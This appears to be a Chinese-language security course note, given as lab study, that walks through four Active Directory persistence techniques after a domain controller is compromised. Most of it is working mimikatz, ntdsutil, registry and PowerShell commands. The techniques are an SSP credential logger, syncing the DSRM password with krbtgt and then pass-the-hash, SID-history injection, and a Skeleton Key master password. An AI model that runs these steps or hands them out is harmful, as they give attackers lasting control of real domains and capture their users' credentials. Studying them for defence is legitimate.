第141天:内网安全-权限维持&域控后门&SSP&HOOK&DSRM&SID&万能钥匙

目录

[案例一:内网域-权限维持-基于验证 DLL 加载-SSP](#案例一:内网域-权限维持-基于验证 DLL 加载-SSP)

案例二:内网域-权限维持-基于机制账号启用-DSRM

[案例三: 内网域-权限维持-基于用户属性修改-SID-history](#案例三: 内网域-权限维持-基于用户属性修改-SID-history)

案例四:内网域-权限维持-基于登录进程劫持-Skeleton-Key


案例一:内网域-权限维持-基于验证 DLL 加载-SSP

一共有两种方式,两种方式呢,第一种借助mimikatz,但是重启后会失效,第二种呢借助的是mimikatz种的mimilib.dll文件,但是必须重启才能生效

第一种方式,执行下面的命令

复制代码
privilege::debug

misc::memssp

执行以后注销,注意不是重启,在c:/windows/system32/mimilsa.log文件种会出现账号密码保存

重启之后再输入不会更新

第二种

经过实验发现移动dll文件必须是x64位的

将mimilib.dll文件移动到c:/windows/system32下

修改注册表重启生效

复制代码
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#查看注册表

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
#设置将mimilib导入

powershell中运行

执行完成以后注册表里面会加入对应的值

cs中执行,好像shell就可以执行powershell命令

密码会保存在下面这个文件中

c:\windows\system32\kiwissp.log

真实的环境是建议两种方式一起运行

案例二:内网域-权限维持-基于机制账号启用-DSRM

利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krbtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

整个操作都是在域控主机上实验

krbtgt用户是Kerberos协议中的一个特殊用户账号,由系统自动生成,用于Kerberos认证过程中的票据签发。

drsm是域还原模式的密码

获取krbtgt的ntml hash

privilege::debug

lsadump::lsa /patch /name:krbtgt #获取krbtgt的hash,通过实验发现这里可以用任何用户

token::elevate #提升权限

lsadump::sam #保存hash

dsrm&krbtgt&NTLM hash同步

#进入ntdsutil

ntdsutil

#修改DSRM的密码

set DSRM password

#使DSRM的密码和指定域用户的密码同步 eg:sync from domain account [域用户名]

sync from domain account krbtgt

#退出

按两次q即可退出(第1次:退出DSRM密码设置模式;第2次退出ntdsutil)

要保证密码未过期

管理员用户的ntlm变成与krbtgt一致了

修改drsm的登录方式,2为允许远程登陆

复制代码
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

利用hash进行攻击

privilege::debug

sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5

dir \\owa2010cn-god\c$

读取文件

案例三: 内网域-权限维持-基于用户属性修改-SID-history

这个实验必须在域控中进行

利用命令查看name,sid

shell wmic useraccount get name,sid

sid里面只有后四位有区别,500多是高权限用户,1000多则为普通用户

通过powershell命令获取某一个用户的sid

Import-Module ActiveDirectory

Get-ADUser webadmin -Properties sidhistory

给与webadmin用户admin权限

privilege::debug

sid::patch

sid::add /sam:webadmin /new:administrator

再次查看会发现多了一个historysid值

webadmin用户就可以成功访问,这里不太清除为什么又要用ip才能够成功

而别的用户无法访问

利用命令查看webadmin时他还是1000多的sid

案例四:内网域-权限维持-基于登录进程劫持-Skeleton-Key

开启万能密码的方式,这个命令时在域控中输入并开启的

privilege::debug

misc::skeleton

正常普通用户利用ipc建立连接

域控中开启万能密码后(必须使用x64位的mimikatz,才能成功)

这个时候mary用户利用mimikatz建立连接成功 ,这里好像是只能写主机名才可以

复制代码
net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator

dir访问文件夹

相关推荐
xiejava10181 小时前
开源安全管理平台wazuh-非法可疑进程检测
安全·开源·wazuh
你的电影很有趣4 小时前
lesson72:Node.js 安全实战:Crypto-Js 4.2.0 与 Express 加密体系构建指南
javascript·安全·node.js
Giser探索家5 小时前
遥感卫星升轨 / 降轨技术解析:对图像光照、对比度的影响及工程化应用
大数据·人工智能·算法·安全·计算机视觉·分类
全栈工程师修炼日记5 小时前
ARMv8系统的安全性(二):TrustZone架构如何重塑移动设备安全生态
安全
嗨丶王哪跑5 小时前
网络安全主动防御技术与应用
运维·网络·安全·web安全
火白学安全9 小时前
《Python红队攻防脚本零基础编写:入门篇(一)》
python·安全·web安全·网络安全·系统安全
携欢9 小时前
PortSwigger靶场之Exploiting server-side parameter pollution in a REST URL通关秘籍
前端·javascript·安全
好家伙VCC10 小时前
**发散创新:渗透测试方法的深度探索与实践**随着网络安全形势日益严峻,渗透测试作为评估系统安全的
java·python·安全·web安全·系统安全
人邮异步社区10 小时前
内网攻防实战图谱:从红队视角构建安全对抗体系
网络·安全·web安全
胡耀超11 小时前
大数据平台安全指南——大数据平台安全架构全景:从认证授权到数据治理的企业级实践指南——认证、授权、审计、加密四大支柱
安全·数据治理·数据安全·权限管理·安全架构·hadoop生态·合规审计